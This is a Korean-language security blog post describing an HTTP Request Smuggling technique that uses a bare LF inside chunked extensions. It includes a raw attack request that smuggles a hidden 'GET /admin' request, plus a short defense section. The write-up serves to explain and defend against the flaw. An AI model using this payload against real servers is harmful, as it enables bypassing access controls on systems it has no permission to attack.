New technic of HTTP Request Smuggling (chunked extension)

오랜만에 HRS(HTTP Request Smugglin) 관련 테크닉이 추가되었습니다. 아직 실제로 공격 가능했던 사례가 있는건 아니라 오피셜은 아니지만, 어느정도 신빙성이 있어서 글로 작성해봅니다.

Chunked의 특징

HRS 취약점을 정확하게 이해하신 분이라면 chunked의 특징을 아마 잘 알고 계실겁니다. 그래도 한번쯤은 다시 언급하고 하는게 좋을 것 같아서 해당 내용도 추가했습니다.

Transfer-Encoding: chunked는 connection: close 기반의 일반 웹 요청과 다르게 keep-alive로 하나의 큰 Request (뭐 보통 파일같은게 되겠죠)를 여러개의 HTTP Request로 나누는 방법이며, 이를 위해서 몇가지 스펙이 존재합니다.

아래와 같이 body 부분에 각 라인별로 길이-값 순서로 데이터가 들어가며 chunked 요청의 마지막에는 0\r\n\r\n을 통해서 이 부분이 끝이란걸 명시합니다.

길이(\r\n)
값(\r\n)
길이(\r\n)
값(\r\n)
0(\r\n)
(\r\n)

아래 요청을 보면 10개의 값(aaaabbbbb), 그리고 0\r\n\r\n을 만나 chunked 요청이 끝나게 됩니다.

GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

10
aaaaabbbbb
0

Chunked Extension

RFC7230의 4.1.1에는 Chunked Extension이라는 내용의 섹션이 존재합니다. 이는 Chunked 요청 시 extension을 통해 부가적인 정보를 포함해서 전달할 수 있는 방식인데요.

GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

10;hello-hahwul
aaaaabbbbb
0

위와 같이 세미콜론(;)을 통해서 사이즈 옆에 추가로 데이터를 넣을 수 있습니다. 이에 대한 포맷은 아래와 같습니다.

chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val  = token / quoted-string

HRS with chunked extension

Vulnerable point

정상적인 서버는 chunked의 사이즈와 값, 그리고 종료에서 사용하는 CRLF(\r\n)을 체크합니다. 다만 일부 서버, 어플리케이션들은 LF(\n)만 있는 경우에도 개행문자로 인식하는 경우가 있습니다.

여러 Hops의 인프라 구성에서 CRLF와 LF 이 2개를 통해 하나의 Request의 chunked를 처리하는 방식을 다르게 유도할 수 있습니다. hops 구성에서 다르게 처리한다는 건, 즉 smuggling을 의미하죠.

Attack

그러면 예시를 하나 들어봅시다.

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2;\nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

위와 같은 요청이 있다고 한다면 일부 비 정상적인 서버에선 chunked extension에 있는 LF(\n)로 인해서 개행 처리가 되어서 아래와 같은 요청으로 인식하게 됩니다.

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2;
xx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

그러면 2(길이)-xx(값) 까지 읽고, 다음줄인 4c(길이)-0\r\n\r\n전(값) 까지 데이터를 읽어서 하나의 Web Request로 처리하게 됩니다. 만약 여기서 뒤에 서버가 정상적인 서버라면, 첫번째 0\r\n\r\n 까지 요청을 보고 자르기 때문에 여기서 Smuggling이 발생합니다.

일반적인 경우는 아니겠지만, 위와 같은 Smuggling은 3hops 이상에서 뒤쪽의 서버간의 smuggling을 유도하거나, TE:TE 케이스에서 사용할 수 있는 Smuggling 공격 벡터가 됩니다.

받아랏 스머글링!!

How to Defense

문제된 부분은 LF(\n)를 개행을 인지하고 처리하는 점인데, 보통의 경우는 서버/프록시/장비/어플리케이션 등 패치로 수정하는게 가장 좋은 케이스일 것 같고, 만약 직접 코드단 수정이 필요하다면 일반적인 웹 요청과 동일하게 CRLF(\r\n) 기준으로 개행 처리할 수 있도록 수정이 필요합니다.

Conclusion

정말 오랜만에 HRS 관련 트릭이 나왔습니다. h2c 이후로 많은 사람들이 HTTP/2에서의 Smuggling 을 중점적으로 보다보니 전보다 우회 패턴이나 공격 트릭이 나오는 빈도가 좀 줄었다고 생각했는데, 오랜만에 HRS 관련 내용이 나와서 뭔가 반갑네요 :D

References